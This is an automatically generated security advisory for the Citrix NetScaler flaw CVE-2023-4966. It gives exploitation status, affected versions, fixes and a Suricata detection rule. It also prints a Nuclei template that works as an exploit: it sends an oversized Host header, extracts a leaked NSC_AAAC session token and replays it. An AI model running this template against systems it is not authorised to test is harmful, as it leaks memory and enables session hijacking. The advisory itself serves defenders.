CVE-2023-4966: Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-25 00:24 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA  virtual server.

Description quoted from the CVE record (assigned by Citrix, published 2023-10-10).

Weakness: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability low. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2023-10-18
US federal deadline
2023-11-08
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Metasploit module, 1 Nuclei template, 21 code repositories and 6 research write-ups naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 37 references on Exploit Observer

Live scores

EPSS
1.000
very likely to be attacked soon
VEDAS
0.989
strong exploit evidence
On CISA KEV
Yes, since 2023-10-18
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2023-4966 EPSS over time2025-042026-11-25
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.5CVE-2023-4966 VEDAS over time2025-042026-11-25

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Citrix NetScaler ADCfrom 14.1 before 8.50
from 13.1 before 49.15
from 13.0 before 92.19
from 13.1-FIPS before 37.164
from 12.1-FIPS before 55.300
from 12.1-NDcPP before 55.300
Not stated
Citrix NetScaler Gatewayfrom 14.1 before 8.50
from 13.1 before 49.15
from 13.0 before 92.19
Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 8.50, 49.15, 92.19, 37.164, 55.300.

CISA required action: Apply mitigations and kill all active and persistent sessions per vendor instructions [https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/] OR discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Citrix - Memory Corruption

Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /oauth/idp/.well-known/openid-configuration, POST /logon/LogonPoint/Authentication/GetUserName); it decides using regex, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2023-4966.yaml
Show the template (62 lines)
yaml
id: CVE-2023-4966

info:
  name: "Citrix - Memory Corruption"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN
    virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-4966&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=citrix&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-4966
    cwe-id: CWE-119,NVD-CWE-noinfo
  metadata:
    verified: false
  tags: cve,cve2023,citrix,adc,info-leak,kev,exposure,vkev,vuln
variables:
  payload: '{{repeat("a", 24812)}}'
  str: "{{to_lower(rand_text_alpha(4))}}"

http:
  - raw:
      - |+
        GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
        {{str}}: {{Hostname}}
        Host: {{payload}}

      - |+
        POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
        Host: {{Hostname}}
        Cookie: NSC_AAAC={{session}}

    unsafe: true

    extractors:
      - type: regex
        name: session
        part: body_1
        group: 1
        regex:
          - '([a-f0-9]{100}45525d5f4f58455e445a4a42)'
        internal: true

      - type: regex
        part: body_2
        regex:
          - '([a-z0-9._]+)'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'NSC_AAAC='
          - 'HTTP/1.1'

      - type: word
        words:
          - '{"issuer":'

CVE-2023-4966.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2023-4966 Citrix - Memory Corruption. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2023-4966 Citrix - Memory Corruption"; flow:established,to_server; http.uri; content:"/logon/LogonPoint/Authentication/GetUserName"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2023-4966; reference:url,https://www.exploit.observer/?keyword=CVE-2023-4966&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=citrix&match=exact; sid:1009669; rev:1;)

CVE-2023-4966.rules on GitHub

Advisories on this CVE

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners